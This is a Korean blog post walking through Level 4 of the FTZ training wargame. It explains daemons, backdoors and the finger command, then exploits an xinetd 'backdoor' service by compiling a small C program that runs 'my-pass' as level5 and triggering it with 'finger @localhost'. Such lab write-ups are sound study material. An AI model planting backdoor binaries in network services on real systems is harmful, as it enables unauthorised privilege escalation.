ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [FTZ] Level 4
    보안/Pwnable 2021. 8. 23. 17:52

    Backgrounds

    Daemon

    데몬은 백그라운드에서 실행되는 프로세스로, 사용자의 요청을 기다리다가 요청이 발생하면 대응한다 (windows의 서비스와 비슷한 개념이다). 데몬은 다음 2가지 종류가 있다.

    • Standalone: 메모리에 언제나 상주하는 데몬 (실행 스크립트 위치 /etc/inetd.d)
    • inetd: inetd라는 특별한 데몬에 의해 실행되는 데몬; inetd에 요청이 들어오면 inetd는 해당 데몬을 메모리에 올려 요청 처리 (실행 스크립트 위치 /etc/xinetd.d)

    Backdoor

    백도어는 root 계정으로 로그인하지 않고서도 root 권한을 가질 수 있게 하는 길이다. 백도어는 root 쉘을 얻어 root 쉘을 일반 계정으로 접근할 수 있도록 복사한 후 setuid를 설정할 수 있으나, 이 방법은 관리자가 쉽게 찾아낼 수 있는 문제가 있다. 다른 방법으로는 접근 가능한 포트로 들어가 root 권한을 얻어낼 수 있는데, 대표적으로 데몬 서비스에 백도어를 심는다.

    Linux Commands

    finger

    finger 명령어는 사용자 계정 정보와 로그인 정보 등을 볼 수 있는 명령어다. finger는 다음과 같이 사용될 수 도 있다.

    finger @[HOST_NAME]

    finger 명령어에서 호스트를 지정해주면 /etc/xinetd.d/finger가 실행되지만,

    finger

    로 실행할 경우 로컬 서버 /usr/sbin/in.fingerd가 실행된다.

     

    Solution

    /etc/xinetd.d/backdoor의 내용은 다음과 같다.

    service finger 
    {
    	disable	= no
    	flags		= REUSE
    	socket_type	= stream        
    	wait		= no
    	user		= level5
    	server		= /home/level4/tmp/backdoor
    	log_on_failure	+= USERID
    }

    기존의 finger 서비스를 나타내는 /etc/xinetd.d/finger의 내용은 다음과 같다.

    service finger
    {
    	disable	= yes
    	socket_type	= stream
    	wait		= no
    	user		= nobody
    	server		= /usr/sbin/in.fingerd
    }

    backdoor의 disable는 no, finger의 disable은 yes로 설정되어 있어, 쉘에서 finger 명령어를 사용하면 backdoor의 서비스가 실행된다. backdoor는 level5 사용자로 접속해 server의 /home/level4/tmp/backdoor 파일을 실행시킨다. 즉 /home/level4/tmp 위치에 my-pass 명령어를 실행하는 backdoor 파일을 만들어야 한다. 다음은 /home/level4/tmp/backdoor.c 코드이다.

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(void) {
    	system("my-pass");
    	return 0;
    }

    위 코드를 컴파일해 /home/level4/tmp/backdoor 실행 파일을 만든다. 그런 다음 다음 명령어로 finger 서비스를 실행한다.

    finger @localhost

    그러면 my-pass 명령어가 user=level5로 실행돼 플래그를 얻을 수 있다.

    Flag

    what is your name?

    Reference

    '보안 > Pwnable' 카테고리의 다른 글

    [FTZ] Level 3  (0) 2021.08.23
    [FTZ] Level 2  (0) 2021.08.23
    [FTZ] Level1  (0) 2021.08.23
Designed by Tistory.